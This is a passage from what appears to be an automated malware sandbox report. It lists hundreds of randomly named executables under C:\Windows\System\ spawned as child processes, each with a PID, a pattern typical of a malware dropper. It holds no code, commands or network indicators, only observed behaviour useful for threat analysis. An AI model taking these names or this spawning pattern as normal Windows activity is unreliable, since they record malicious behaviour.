  C:\Windows\System\RSJbakv.exe
  2⤵
  PID:12812
- C:\Windows\System\KnyzuNc.exe
  C:\Windows\System\KnyzuNc.exe
  2⤵
  PID:12836
- C:\Windows\System\OugsSnB.exe
  C:\Windows\System\OugsSnB.exe
  2⤵
  PID:12856
- C:\Windows\System\EdLVjfy.exe
  C:\Windows\System\EdLVjfy.exe
  2⤵
  PID:12916
- C:\Windows\System\staTamw.exe
  C:\Windows\System\staTamw.exe
  2⤵
  PID:12936
- C:\Windows\System\LGxkaEX.exe
  C:\Windows\System\LGxkaEX.exe
  2⤵
  PID:12952
- C:\Windows\System\nZQdxJw.exe
  C:\Windows\System\nZQdxJw.exe
  2⤵
  PID:12976
- C:\Windows\System\BmpfHnj.exe
  C:\Windows\System\BmpfHnj.exe
  2⤵
  PID:12996
- C:\Windows\System\SbYUZdo.exe
  C:\Windows\System\SbYUZdo.exe
  2⤵
  PID:13176
- C:\Windows\System\FnjrWUH.exe
  C:\Windows\System\FnjrWUH.exe
  2⤵
  PID:13204
- C:\Windows\System\dEBryuY.exe
  C:\Windows\System\dEBryuY.exe
  2⤵
  PID:13240
- C:\Windows\System\BHZUCLM.exe
  C:\Windows\System\BHZUCLM.exe
  2⤵
  PID:13260
- C:\Windows\System\kCfboXO.exe
  C:\Windows\System\kCfboXO.exe
  2⤵
  PID:13280
- C:\Windows\System\ZngXBOt.exe
  C:\Windows\System\ZngXBOt.exe
  2⤵
  PID:13300
- C:\Windows\System\FyCqVhd.exe
  C:\Windows\System\FyCqVhd.exe
  2⤵
  PID:11496
- C:\Windows\System\srSbMjy.exe
  C:\Windows\System\srSbMjy.exe
  2⤵
  PID:12336
- C:\Windows\System\dflVyDH.exe
  C:\Windows\System\dflVyDH.exe
  2⤵
  PID:12340
- C:\Windows\System\jKiGpjb.exe
  C:\Windows\System\jKiGpjb.exe
  2⤵
  PID:12432
- C:\Windows\System\XOOuwXW.exe
  C:\Windows\System\XOOuwXW.exe
  2⤵
  PID:12540
- C:\Windows\System\HBFJTXi.exe
  C:\Windows\System\HBFJTXi.exe
  2⤵
  PID:12596
- C:\Windows\System\aukVgwL.exe
  C:\Windows\System\aukVgwL.exe
  2⤵
  PID:12668
- C:\Windows\System\yEkVsFa.exe
  C:\Windows\System\yEkVsFa.exe
  2⤵
  PID:13184
- C:\Windows\System\lgdLjDl.exe
  C:\Windows\System\lgdLjDl.exe
  2⤵
  PID:12584
- C:\Windows\System\qGJCOAH.exe
  C:\Windows\System\qGJCOAH.exe
  2⤵
  PID:12720
- C:\Windows\System\ZGoWznC.exe
  C:\Windows\System\ZGoWznC.exe
  2⤵
  PID:12560
- C:\Windows\System\mCXyMcH.exe
  C:\Windows\System\mCXyMcH.exe
  2⤵
  PID:12784
- C:\Windows\System\XdGrScd.exe
  C:\Windows\System\XdGrScd.exe
  2⤵
  PID:12968
- C:\Windows\System\DcjMoiA.exe
  C:\Windows\System\DcjMoiA.exe
  2⤵
  PID:12972
- C:\Windows\System\nSlOHme.exe
  C:\Windows\System\nSlOHme.exe
  2⤵
  PID:4896
- C:\Windows\System\xCRIvta.exe
  C:\Windows\System\xCRIvta.exe
  2⤵
  PID:12516
- C:\Windows\System\pSfLcgk.exe
  C:\Windows\System\pSfLcgk.exe
  2⤵
  PID:488
- C:\Windows\System\GqBCBVH.exe
  C:\Windows\System\GqBCBVH.exe
  2⤵
  PID:12800
- C:\Windows\System\rnOMCTc.exe
  C:\Windows\System\rnOMCTc.exe
  2⤵
  PID:12500
- C:\Windows\System\pTVnGfo.exe
  C:\Windows\System\pTVnGfo.exe
  2⤵
  PID:12620
- C:\Windows\System\JTykPpj.exe
  C:\Windows\System\JTykPpj.exe
  2⤵
  PID:12844
- C:\Windows\System\foJDxtR.exe
  C:\Windows\System\foJDxtR.exe
  2⤵
  PID:2676
- C:\Windows\System\NoCtEMH.exe
  C:\Windows\System\NoCtEMH.exe
  2⤵
  PID:1412
- C:\Windows\System\gsRfrJV.exe
  C:\Windows\System\gsRfrJV.exe
  2⤵
  PID:2208
- C:\Windows\System\nOiPZuM.exe
  C:\Windows\System\nOiPZuM.exe
  2⤵
  PID:660
- C:\Windows\System\vEYLaMT.exe
  C:\Windows\System\vEYLaMT.exe
  2⤵
  PID:12892
- C:\Windows\System\KYqfWZa.exe
  C:\Windows\System\KYqfWZa.exe
  2⤵
  PID:3140
- C:\Windows\System\KZTyYWt.exe
  C:\Windows\System\KZTyYWt.exe
  2⤵
  PID:13108
- C:\Windows\System\RWtSIyV.exe
  C:\Windows\System\RWtSIyV.exe
  2⤵
  PID:13196
- C:\Windows\System\NzzmNut.exe
  C:\Windows\System\NzzmNut.exe
  2⤵
  PID:700
- C:\Windows\System\mOMqPUB.exe
  C:\Windows\System\mOMqPUB.exe
  2⤵
  PID:13256
- C:\Windows\System\zPYlmdi.exe
  C:\Windows\System\zPYlmdi.exe
  2⤵
  PID:13236
- C:\Windows\System\gExMqMY.exe
  C:\Windows\System\gExMqMY.exe
  2⤵
  PID:13052
- C:\Windows\System\bIdTggW.exe
  C:\Windows\System\bIdTggW.exe
  2⤵
  PID:13152
- C:\Windows\System\WGIbZOw.exe
  C:\Windows\System\WGIbZOw.exe
  2⤵
  PID:13252
- C:\Windows\System\kgfPexK.exe
  C:\Windows\System\kgfPexK.exe
  2⤵
  PID:13268
- C:\Windows\System\sXKCzTu.exe
  C:\Windows\System\sXKCzTu.exe
  2⤵
  PID:12380
- C:\Windows\System\eDTIgQY.exe
  C:\Windows\System\eDTIgQY.exe
  2⤵
  PID:11832
- C:\Windows\System\OSVEnMq.exe
  C:\Windows\System\OSVEnMq.exe
  2⤵
  PID:12932
- C:\Windows\System\EKUXYhr.exe
  C:\Windows\System\EKUXYhr.exe
  2⤵
  PID:12852
- C:\Windows\System\QyJfCDY.exe
  C:\Windows\System\QyJfCDY.exe
  2⤵
  PID:1536
- C:\Windows\System\MckZjQE.exe
  C:\Windows\System\MckZjQE.exe
  2⤵
  PID:12868
- C:\Windows\System\dEHmXWG.exe
  C:\Windows\System\dEHmXWG.exe
  2⤵
  PID:3184
- C:\Windows\System\eOBbVcH.exe
  C:\Windows\System\eOBbVcH.exe
  2⤵
  PID:13004
- C:\Windows\System\augALgJ.exe
  C:\Windows\System\augALgJ.exe
  2⤵
  PID:13160
- C:\Windows\System\gtzpgbC.exe
  C:\Windows\System\gtzpgbC.exe
  2⤵
  PID:12960
- C:\Windows\System\ZmXHyna.exe
  C:\Windows\System\ZmXHyna.exe
  2⤵
  PID:13232
- C:\Windows\System\eGqbxhO.exe
  C:\Windows\System\eGqbxhO.exe
  2⤵
  PID:13192
- C:\Windows\System\JsRGzVC.exe
  C:\Windows\System\JsRGzVC.exe
  2⤵
  PID:13292
- C:\Windows\System\oGbAUjl.exe
  C:\Windows\System\oGbAUjl.exe
  2⤵
  PID:12664
- C:\Windows\System\vdrbLtV.exe
  C:\Windows\System\vdrbLtV.exe
  2⤵
  PID:2000
- C:\Windows\System\WXDoSXg.exe
  C:\Windows\System\WXDoSXg.exe
  2⤵
  PID:12992
- C:\Windows\System\AiJppcS.exe
  C:\Windows\System\AiJppcS.exe
  2⤵
  PID:5076
- C:\Windows\System\YjICUAq.exe
  C:\Windows\System\YjICUAq.exe
  2⤵
  PID:3860
- C:\Windows\System\ZjDplBI.exe
  C:\Windows\System\ZjDplBI.exe
  2⤵
  PID:12744
- C:\Windows\System\tlivPTl.exe
  C:\Windows\System\tlivPTl.exe
  2⤵
  PID:12984
- C:\Windows\System\AEpVhbo.exe
  C:\Windows\System\AEpVhbo.exe
  2⤵
  PID:13228
- C:\Windows\System\lljHIfH.exe
  C:\Windows\System\lljHIfH.exe
  2⤵
  PID:1980
- C:\Windows\System\todfUKA.exe
  C:\Windows\System\todfUKA.exe
  2⤵
  PID:12364
- C:\Windows\System\QHFvKLK.exe
  C:\Windows\System\QHFvKLK.exe
  2⤵
  PID:13124
- C:\Windows\System\WychFPT.exe
  C:\Windows\System\WychFPT.exe
  2⤵
  PID:13324
- C:\Windows\System\zlACOOb.exe
  C:\Windows\System\zlACOOb.exe
  2⤵
  PID:13340
- C:\Windows\System\OuzIsAg.exe
  C:\Windows\System\OuzIsAg.exe
  2⤵
  PID:13356
- C:\Windows\System\rZlsSFo.exe
  C:\Windows\System\rZlsSFo.exe
  2⤵
  PID:13372
- C:\Windows\System\FsCrCvx.exe
  C:\Windows\System\FsCrCvx.exe
  2⤵
  PID:13392
- C:\Windows\System\hHutyZB.exe
  C:\Windows\System\hHutyZB.exe
  2⤵
  PID:13408
- C:\Windows\System\LPcfgSV.exe
  C:\Windows\System\LPcfgSV.exe
  2⤵
  PID:13424
- C:\Windows\System\GOqeHBx.exe
  C:\Windows\System\GOqeHBx.exe
  2⤵
  PID:13440
- C:\Windows\System\xCPnbFF.exe
  C:\Windows\System\xCPnbFF.exe
  2⤵
  PID:13456
- C:\Windows\System\AqtHYvJ.exe
  C:\Windows\System\AqtHYvJ.exe
  2⤵
  PID:13472
- C:\Windows\System\jPTjZCS.exe
  C:\Windows\System\jPTjZCS.exe
  2⤵
  PID:13488
- C:\Windows\System\ecsIlMX.exe
  C:\Windows\System\ecsIlMX.exe
  2⤵
  PID:13504
- C:\Windows\System\AkThmeR.exe
  C:\Windows\System\AkThmeR.exe
  2⤵
  PID:13520
- C:\Windows\System\HIXlCln.exe
  C:\Windows\System\HIXlCln.exe
  2⤵
  PID:13536
- C:\Windows\System\ShqirbC.exe
  C:\Windows\System\ShqirbC.exe
  2⤵
  PID:13552
- C:\Windows\System\GEMhkPn.exe
  C:\Windows\System\GEMhkPn.exe
  2⤵
  PID:13568
- C:\Windows\System\YBWtaoB.exe
  C:\Windows\System\YBWtaoB.exe
  2⤵
  PID:13584
- C:\Windows\System\KZTumYg.exe
  C:\Windows\System\KZTumYg.exe
  2⤵
  PID:13600
- C:\Windows\System\awCJAuU.exe
  C:\Windows\System\awCJAuU.exe
  2⤵
  PID:13616
- C:\Windows\System\ZHkjAzY.exe
  C:\Windows\System\ZHkjAzY.exe
  2⤵
  PID:13632
- C:\Windows\System\PYjSdGB.exe
  C:\Windows\System\PYjSdGB.exe
  2⤵
  PID:13648
- C:\Windows\System\IbZxoZd.exe
  C:\Windows\System\IbZxoZd.exe
  2⤵
  PID:13664
- C:\Windows\System\InHrehK.exe
  C:\Windows\System\InHrehK.exe
  2⤵
  PID:13680
- C:\Windows\System\iHzOOUL.exe
  C:\Windows\System\iHzOOUL.exe
  2⤵
  PID:13696
- C:\Windows\System\bTuBDff.exe
  C:\Windows\System\bTuBDff.exe
  2⤵
  PID:13712
- C:\Windows\System\TwwfExU.exe
  C:\Windows\System\TwwfExU.exe
  2⤵
  PID:13728
- C:\Windows\System\GEVqfSu.exe
  C:\Windows\System\GEVqfSu.exe
  2⤵
  PID:13744
- C:\Windows\System\FmlpFfu.exe
  C:\Windows\System\FmlpFfu.exe
  2⤵
  PID:13760
- C:\Windows\System\QyzcdBI.exe
  C:\Windows\System\QyzcdBI.exe
  2⤵
  PID:13776
- C:\Windows\System\CSViXhP.exe
  C:\Windows\System\CSViXhP.exe
  2⤵
  PID:13792
- C:\Windows\System\sVvAjTR.exe
  C:\Windows\System\sVvAjTR.exe
  2⤵
  PID:13808
- C:\Windows\System\axhnLSG.exe
  C:\Windows\System\axhnLSG.exe
  2⤵
  PID:13824
- C:\Windows\System\jxqMQOK.exe
  C:\Windows\System\jxqMQOK.exe
  2⤵
  PID:13840
- C:\Windows\System\pRZQwzp.exe
  C:\Windows\System\pRZQwzp.exe
  2⤵
  PID:13856
- C:\Windows\System\exFRCrX.exe
  C:\Windows\System\exFRCrX.exe
  2⤵
  PID:13872
- C:\Windows\System\GttbZlB.exe
  C:\Windows\System\GttbZlB.exe
  2⤵
  PID:13888
- C:\Windows\System\JBnMCso.exe
  C:\Windows\System\JBnMCso.exe
  2⤵
  PID:13904
- C:\Windows\System\ZZRwvXf.exe
  C:\Windows\System\ZZRwvXf.exe
  2⤵
  PID:13920
- C:\Windows\System\uUgiVNF.exe
  C:\Windows\System\uUgiVNF.exe
  2⤵
  PID:13936
- C:\Windows\System\JwhweVI.exe
  C:\Windows\System\JwhweVI.exe
  2⤵
  PID:13952
- C:\Windows\System\zZoBxaS.exe
  C:\Windows\System\zZoBxaS.exe
  2⤵
  PID:13972
- C:\Windows\System\nRsKnzU.exe
  C:\Windows\System\nRsKnzU.exe
  2⤵
  PID:14064
- C:\Windows\System\RFdIbRS.exe
  C:\Windows\System\RFdIbRS.exe
  2⤵
  PID:14080
- C:\Windows\System\YWlPXZp.exe
  C:\Windows\System\YWlPXZp.exe
  2⤵
  PID:14096
- C:\Windows\System\MiSrMcE.exe
  C:\Windows\System\MiSrMcE.exe
  2⤵
  PID:14112
- C:\Windows\System\poZfapB.exe
  C:\Windows\System\poZfapB.exe
  2⤵
  PID:14128
- C:\Windows\System\pvAaGAe.exe
  C:\Windows\System\pvAaGAe.exe
  2⤵
  PID:14144
- C:\Windows\System\KwcsNLx.exe
  C:\Windows\System\KwcsNLx.exe
  2⤵
  PID:14160
- C:\Windows\System\eLzyiua.exe
  C:\Windows\System\eLzyiua.exe
  2⤵
  PID:14176
- C:\Windows\System\dcnxdlQ.exe
  C:\Windows\System\dcnxdlQ.exe
  2⤵
  PID:14192
- C:\Windows\System\VJQnTjG.exe
  C:\Windows\System\VJQnTjG.exe
  2⤵
  PID:14208
- C:\Windows\System\lyxrVMW.exe
  C:\Windows\System\lyxrVMW.exe
  2⤵
  PID:14224
- C:\Windows\System\XdwRsqB.exe
  C:\Windows\System\XdwRsqB.exe
  2⤵
  PID:14240
- C:\Windows\System\VXXYvTl.exe
  C:\Windows\System\VXXYvTl.exe
  2⤵
  PID:14256
- C:\Windows\System\zadUBMf.exe
  C:\Windows\System\zadUBMf.exe
  2⤵
  PID:14272
- C:\Windows\System\LWoRFov.exe
  C:\Windows\System\LWoRFov.exe
  2⤵
  PID:14288
- C:\Windows\System\lZJAyqK.exe
  C:\Windows\System\lZJAyqK.exe
  2⤵
  PID:14304
- C:\Windows\System\YOJZaYu.exe
  C:\Windows\System\YOJZaYu.exe
  2⤵
  PID:14320
- C:\Windows\System\NddgiRd.exe
  C:\Windows\System\NddgiRd.exe
  2⤵
  PID:13316
- C:\Windows\System\cGCHcog.exe
  C:\Windows\System\cGCHcog.exe
  2⤵
  PID:13348
- C:\Windows\System\ThSZyNA.exe
  C:\Windows\System\ThSZyNA.exe
  2⤵
  PID:13380
- C:\Windows\System\wgPmxxL.exe
  C:\Windows\System\wgPmxxL.exe
  2⤵
  PID:5448
- C:\Windows\System\qVCxWtr.exe
  C:\Windows\System\qVCxWtr.exe
  2⤵
  PID:13436
- C:\Windows\System\hhWZciJ.exe
  C:\Windows\System\hhWZciJ.exe
  2⤵
  PID:13468
- C:\Windows\System\GRlrPKq.exe
  C:\Windows\System\GRlrPKq.exe
  2⤵
  PID:13500
- C:\Windows\System\mSpYnOZ.exe
  C:\Windows\System\mSpYnOZ.exe
  2⤵
  PID:13532
- C:\Windows\System\uMAsqDI.exe
  C:\Windows\System\uMAsqDI.exe
  2⤵
  PID:13564
- C:\Windows\System\CekwwlQ.exe
  C:\Windows\System\CekwwlQ.exe
  2⤵
  PID:13592
- C:\Windows\System\aZOcLes.exe
  C:\Windows\System\aZOcLes.exe
  2⤵
  PID:13624
- C:\Windows\System\yUlVZVj.exe
  C:\Windows\System\yUlVZVj.exe
  2⤵
  PID:13656
- C:\Windows\System\YiWagEG.exe
  C:\Windows\System\YiWagEG.exe
  2⤵
  PID:13688
- C:\Windows\System\MOQIrUR.exe
  C:\Windows\System\MOQIrUR.exe
  2⤵
  PID:13720
- C:\Windows\System\FRbLRgN.exe
  C:\Windows\System\FRbLRgN.exe
  2⤵
  PID:13752
- C:\Windows\System\olTkAEF.exe
  C:\Windows\System\olTkAEF.exe
  2⤵
  PID:13784
- C:\Windows\System\mjizumG.exe
  C:\Windows\System\mjizumG.exe
  2⤵
  PID:13816
- C:\Windows\System\iFnOapb.exe
  C:\Windows\System\iFnOapb.exe
  2⤵
  PID:13848
- C:\Windows\System\hBzOSqZ.exe
  C:\Windows\System\hBzOSqZ.exe
  2⤵
  PID:13880
- C:\Windows\System\Swiyetc.exe
  C:\Windows\System\Swiyetc.exe
  2⤵
  PID:13912
- C:\Windows\System\qxFGAfT.exe
  C:\Windows\System\qxFGAfT.exe
  2⤵
  PID:13944
- C:\Windows\System\hKNFvrN.exe
  C:\Windows\System\hKNFvrN.exe
  2⤵
  PID:13384
- C:\Windows\System\BOCZJuA.exe
  C:\Windows\System\BOCZJuA.exe
  2⤵
  PID:13992
- C:\Windows\System\EVyHBDq.exe
  C:\Windows\System\EVyHBDq.exe
  2⤵
  PID:14004
- C:\Windows\System\VAcnnSc.exe
  C:\Windows\System\VAcnnSc.exe
  2⤵
  PID:14020
- C:\Windows\System\GZdSuUA.exe
  C:\Windows\System\GZdSuUA.exe
  2⤵
  PID:14036
- C:\Windows\System\LOZnqqg.exe
  C:\Windows\System\LOZnqqg.exe
  2⤵
  PID:14056
- C:\Windows\System\OLJbGOw.exe
  C:\Windows\System\OLJbGOw.exe
  2⤵
  PID:6132
- C:\Windows\System\WKNCgDo.exe
  C:\Windows\System\WKNCgDo.exe
  2⤵
  PID:14108
- C:\Windows\System\ywSKeLD.exe
  C:\Windows\System\ywSKeLD.exe
  2⤵
  PID:14140
- C:\Windows\System\BybCtqg.exe
  C:\Windows\System\BybCtqg.exe
  2⤵
  PID:14172
- C:\Windows\System\WIeoXgA.exe
  C:\Windows\System\WIeoXgA.exe
  2⤵
  PID:14204
- C:\Windows\System\tXYsdZK.exe
  C:\Windows\System\tXYsdZK.exe
  2⤵
  PID:14236
- C:\Windows\System\IWYgndi.exe
  C:\Windows\System\IWYgndi.exe
  2⤵
  PID:14268
- C:\Windows\System\REPLTou.exe
  C:\Windows\System\REPLTou.exe
  2⤵
  PID:14300
- C:\Windows\System\QtryzrA.exe
  C:\Windows\System\QtryzrA.exe
  2⤵
  PID:14332
- C:\Windows\System\bzdEzam.exe
  C:\Windows\System\bzdEzam.exe
  2⤵
  PID:13368
- C:\Windows\System\XlpgsiU.exe
  C:\Windows\System\XlpgsiU.exe
  2⤵
  PID:13420
- C:\Windows\System\bxQwita.exe
  C:\Windows\System\bxQwita.exe
  2⤵
  PID:13484
- C:\Windows\System\EfxHVWV.exe
  C:\Windows\System\EfxHVWV.exe
  2⤵
  PID:13548
- C:\Windows\System\fxoWdpm.exe
  C:\Windows\System\fxoWdpm.exe
  2⤵
  PID:13608
- C:\Windows\System\MKFarWA.exe
  C:\Windows\System\MKFarWA.exe
  2⤵
  PID:13672
- C:\Windows\System\kaoPIDV.exe
  C:\Windows\System\kaoPIDV.exe
  2⤵
  PID:13736
- C:\Windows\System\EsTvChe.exe
  C:\Windows\System\EsTvChe.exe
  2⤵
  PID:13800
- C:\Windows\System\wWMxnXW.exe
  C:\Windows\System\wWMxnXW.exe
  2⤵
  PID:13864
- C:\Windows\System\rtIleRw.exe
  C:\Windows\System\rtIleRw.exe
  2⤵
  PID:13928
- C:\Windows\System\jJBgbgs.exe
  C:\Windows\System\jJBgbgs.exe
  2⤵
  PID:13988
- C:\Windows\System\rUrCOPD.exe
  C:\Windows\System\rUrCOPD.exe
  2⤵
  PID:14016
- C:\Windows\System\XuKXXKr.exe
  C:\Windows\System\XuKXXKr.exe
  2⤵
  PID:13980
- C:\Windows\System\LMxspry.exe
  C:\Windows\System\LMxspry.exe
  2⤵
  PID:14048
- C:\Windows\System\iLwFxXn.exe
  C:\Windows\System\iLwFxXn.exe
  2⤵
  PID:14072
- C:\Windows\System\sluhVMY.exe
  C:\Windows\System\sluhVMY.exe
  2⤵
  PID:14136
- C:\Windows\System\oSEnQwz.exe
  C:\Windows\System\oSEnQwz.exe
  2⤵
  PID:14200
- C:\Windows\System\tqnzwPL.exe
  C:\Windows\System\tqnzwPL.exe
  2⤵
  PID:13528
- C:\Windows\System\YnQHUSY.exe
  C:\Windows\System\YnQHUSY.exe
  2⤵
  PID:13832
- C:\Windows\System\JxRuZbF.exe
  C:\Windows\System\JxRuZbF.exe
  2⤵
  PID:14076
- C:\Windows\System\srGNFtQ.exe
  C:\Windows\System\srGNFtQ.exe
  2⤵
  PID:14220
- C:\Windows\System\fmXzojr.exe
  C:\Windows\System\fmXzojr.exe
  2⤵
  PID:14544
- C:\Windows\System\XsNzGeo.exe
  C:\Windows\System\XsNzGeo.exe
  2⤵
  PID:14560
- C:\Windows\System\UcuVUEv.exe
  C:\Windows\System\UcuVUEv.exe
  2⤵
  PID:14576
- C:\Windows\System\ncpvzyT.exe
  C:\Windows\System\ncpvzyT.exe
  2⤵
  PID:14592
- C:\Windows\System\nxvQtAr.exe
  C:\Windows\System\nxvQtAr.exe
  2⤵
  PID:14608
- C:\Windows\System\xCyzbwb.exe
  C:\Windows\System\xCyzbwb.exe
  2⤵
  PID:14624
- C:\Windows\System\mxDfLXx.exe
  C:\Windows\System\mxDfLXx.exe
  2⤵
  PID:14640
- C:\Windows\System\fEpvaGg.exe
  C:\Windows\System\fEpvaGg.exe
  2⤵
  PID:14656
- C:\Windows\System\JwzOwin.exe
  C:\Windows\System\JwzOwin.exe
  2⤵
  PID:14672
- C:\Windows\System\dESiRDz.exe
  C:\Windows\System\dESiRDz.exe
  2⤵
  PID:14688
- C:\Windows\System\wnJNEMI.exe
  C:\Windows\System\wnJNEMI.exe
  2⤵
  PID:14704
- C:\Windows\System\iOTkreO.exe
  C:\Windows\System\iOTkreO.exe
  2⤵
  PID:14720
- C:\Windows\System\MezSdZp.exe
  C:\Windows\System\MezSdZp.exe
  2⤵
  PID:14736
- C:\Windows\System\pHnGlbM.exe
  C:\Windows\System\pHnGlbM.exe
  2⤵
  PID:14764
- C:\Windows\System\EtEHmEP.exe
  C:\Windows\System\EtEHmEP.exe
  2⤵
  PID:14780
- C:\Windows\System\EntSCEz.exe
  C:\Windows\System\EntSCEz.exe
  2⤵
  PID:14796
- C:\Windows\System\JGchKyE.exe
  C:\Windows\System\JGchKyE.exe
  2⤵
  PID:14812
- C:\Windows\System\YMmQuPZ.exe
  C:\Windows\System\YMmQuPZ.exe
  2⤵
  PID:14828
- C:\Windows\System\GHwzBHL.exe
  C:\Windows\System\GHwzBHL.exe
  2⤵
  PID:14844
- C:\Windows\System\AkqvRXW.exe
  C:\Windows\System\AkqvRXW.exe
  2⤵
  PID:14860
- C:\Windows\System\OTgQcUv.exe
  C:\Windows\System\OTgQcUv.exe
  2⤵
  PID:14876
- C:\Windows\System\FFIcxOa.exe
  C:\Windows\System\FFIcxOa.exe
  2⤵
  PID:14892
- C:\Windows\System\UxxzSSH.exe
  C:\Windows\System\UxxzSSH.exe
  2⤵
  PID:14908
- C:\Windows\System\NpNeVfA.exe
  C:\Windows\System\NpNeVfA.exe
  2⤵
  PID:14924
- C:\Windows\System\mSpEXfn.exe
  C:\Windows\System\mSpEXfn.exe
  2⤵
  PID:14940
- C:\Windows\System\SaAlQxC.exe
  C:\Windows\System\SaAlQxC.exe
  2⤵
  PID:14956
- C:\Windows\System\jnRMihf.exe
  C:\Windows\System\jnRMihf.exe
  2⤵
  PID:14972
- C:\Windows\System\LQkxHqw.exe
  C:\Windows\System\LQkxHqw.exe
  2⤵
  PID:14988
- C:\Windows\System\kSqGLnh.exe
  C:\Windows\System\kSqGLnh.exe
  2⤵
  PID:15004
- C:\Windows\System\UxIyUUQ.exe
  C:\Windows\System\UxIyUUQ.exe
  2⤵
  PID:15020
- C:\Windows\System\AYfKddA.exe
  C:\Windows\System\AYfKddA.exe
  2⤵
  PID:15036
- C:\Windows\System\gbGiaZV.exe
  C:\Windows\System\gbGiaZV.exe
  2⤵
  PID:15052
- C:\Windows\System\ReOmYDV.exe
  C:\Windows\System\ReOmYDV.exe
  2⤵
  PID:15068
- C:\Windows\System\IqkESXa.exe
  C:\Windows\System\IqkESXa.exe
  2⤵
  PID:15084
- C:\Windows\System\KZzIKZb.exe
  C:\Windows\System\KZzIKZb.exe
  2⤵
  PID:15100
- C:\Windows\System\zXMkulY.exe
  C:\Windows\System\zXMkulY.exe
  2⤵
  PID:15116
- C:\Windows\System\ukzOPeR.exe
  C:\Windows\System\ukzOPeR.exe
  2⤵
  PID:15132
- C:\Windows\System\tndbpQS.exe
  C:\Windows\System\tndbpQS.exe
  2⤵
  PID:15148
- C:\Windows\System\xYEbFly.exe
  C:\Windows\System\xYEbFly.exe
  2⤵
  PID:15164
- C:\Windows\System\hVuBPWU.exe
  C:\Windows\System\hVuBPWU.exe
  2⤵
  PID:15180
- C:\Windows\System\ySURTGO.exe
  C:\Windows\System\ySURTGO.exe
  2⤵
  PID:15196
- C:\Windows\System\looWhMQ.exe
  C:\Windows\System\looWhMQ.exe
  2⤵
  PID:15212
- C:\Windows\System\EZQsnlQ.exe
  C:\Windows\System\EZQsnlQ.exe
  2⤵
  PID:15228
- C:\Windows\System\IwZktQg.exe
  C:\Windows\System\IwZktQg.exe
  2⤵
  PID:15244
- C:\Windows\System\aMOKHvr.exe
  C:\Windows\System\aMOKHvr.exe
  2⤵
  PID:15260
- C:\Windows\System\VBwDCjt.exe
  C:\Windows\System\VBwDCjt.exe
  2⤵
  PID:15276
- C:\Windows\System\Ldqrazu.exe
  C:\Windows\System\Ldqrazu.exe
  2⤵
  PID:15292
- C:\Windows\System\zuYEnws.exe
  C:\Windows\System\zuYEnws.exe
  2⤵
  PID:15312
- C:\Windows\System\jxesFSk.exe
  C:\Windows\System\jxesFSk.exe
  2⤵
  PID:15328
- C:\Windows\System\iKNkspY.exe
  C:\Windows\System\iKNkspY.exe
  2⤵
  PID:15344
- C:\Windows\System\CKBrMjp.exe
  C:\Windows\System\CKBrMjp.exe
  2⤵
  PID:14092
- C:\Windows\System\pZesLdI.exe
  C:\Windows\System\pZesLdI.exe
  2⤵
  PID:14340
- C:\Windows\System\GcpqZda.exe
  C:\Windows\System\GcpqZda.exe
  2⤵
  PID:14364
- C:\Windows\System\rPEFkcF.exe
  C:\Windows\System\rPEFkcF.exe
  2⤵
  PID:13896
- C:\Windows\System\zLHKaoF.exe
  C:\Windows\System\zLHKaoF.exe
  2⤵
  PID:14360
- C:\Windows\System\EFtTtbX.exe
  C:\Windows\System\EFtTtbX.exe
  2⤵
  PID:14380
- C:\Windows\System\oXvdOXe.exe
  C:\Windows\System\oXvdOXe.exe
  2⤵
  PID:14412
- C:\Windows\System\MWgXYCx.exe
  C:\Windows\System\MWgXYCx.exe
  2⤵
  PID:14404
- C:\Windows\System\eNBKmvw.exe
  C:\Windows\System\eNBKmvw.exe
  2⤵
  PID:14424
- C:\Windows\System\afnosLY.exe
  C:\Windows\System\afnosLY.exe
  2⤵
  PID:14456
- C:\Windows\System\qsRYjGZ.exe
  C:\Windows\System\qsRYjGZ.exe
  2⤵
  PID:14480
- C:\Windows\System\KlVyJPt.exe
  C:\Windows\System\KlVyJPt.exe
  2⤵
  PID:14492
- C:\Windows\System\KgoNZCz.exe
  C:\Windows\System\KgoNZCz.exe
  2⤵
  PID:12832
- C:\Windows\System\qJWzVpf.exe
  C:\Windows\System\qJWzVpf.exe
  2⤵
  PID:6288
- C:\Windows\System\jzYllRx.exe
  C:\Windows\System\jzYllRx.exe
  2⤵
  PID:14584
- C:\Windows\System\YVaodTj.exe
  C:\Windows\System\YVaodTj.exe
  2⤵
  PID:14932
- C:\Windows\System\yoQuNcq.exe
  C:\Windows\System\yoQuNcq.exe
  2⤵
  PID:15156
- C:\Windows\System\AorkibP.exe
  C:\Windows\System\AorkibP.exe
  2⤵
  PID:15144
- C:\Windows\System\xNrWDVU.exe
  C:\Windows\System\xNrWDVU.exe
  2⤵
  PID:15204
- C:\Windows\System\DXZBZWr.exe
  C:\Windows\System\DXZBZWr.exe
  2⤵
  PID:15172
- C:\Windows\System\JXJwBdL.exe
  C:\Windows\System\JXJwBdL.exe
  2⤵
  PID:14088
- C:\Windows\System\iTxxGme.exe
  C:\Windows\System\iTxxGme.exe
  2⤵
  PID:4964
- C:\Windows\System\KNUxkmd.exe
  C:\Windows\System\KNUxkmd.exe
  2⤵
  PID:4052
- C:\Windows\System\kmvXsgu.exe
  C:\Windows\System\kmvXsgu.exe
  2⤵
  PID:2756
- C:\Windows\System\jnRqUZH.exe
  C:\Windows\System\jnRqUZH.exe
  2⤵
  PID:13772
- C:\Windows\System\YPffdQH.exe
  C:\Windows\System\YPffdQH.exe
  2⤵
  PID:6628
- C:\Windows\System\PTVizXX.exe
  C:\Windows\System\PTVizXX.exe
  2⤵
  PID:14504
- C:\Windows\System\SROUbla.exe
  C:\Windows\System\SROUbla.exe
  2⤵
  PID:6660
- C:\Windows\System\MLEklQx.exe
  C:\Windows\System\MLEklQx.exe
  2⤵
  PID:1636
- C:\Windows\System\zRTMuul.exe
  C:\Windows\System\zRTMuul.exe
  2⤵
  PID:7496
- C:\Windows\System\rXfihZN.exe
  C:\Windows\System\rXfihZN.exe
  2⤵
  PID:14524
- C:\Windows\System\ZTZRAsi.exe
  C:\Windows\System\ZTZRAsi.exe
  2⤵
  PID:14516
- C:\Windows\System\vmjTyLC.exe
  C:\Windows\System\vmjTyLC.exe
  2⤵
  PID:1676
- C:\Windows\System\VinMfrJ.exe
  C:\Windows\System\VinMfrJ.exe
  2⤵
  PID:3784
- C:\Windows\System\gbdNOKk.exe
  C:\Windows\System\gbdNOKk.exe
  2⤵
  PID:14568
- C:\Windows\System\hJrpnsj.exe
  C:\Windows\System\hJrpnsj.exe
  2⤵
  PID:1760
- C:\Windows\System\RkAmuky.exe
  C:\Windows\System\RkAmuky.exe
  2⤵
  PID:4116
- C:\Windows\System\HoyAQEl.exe
  C:\Windows\System\HoyAQEl.exe
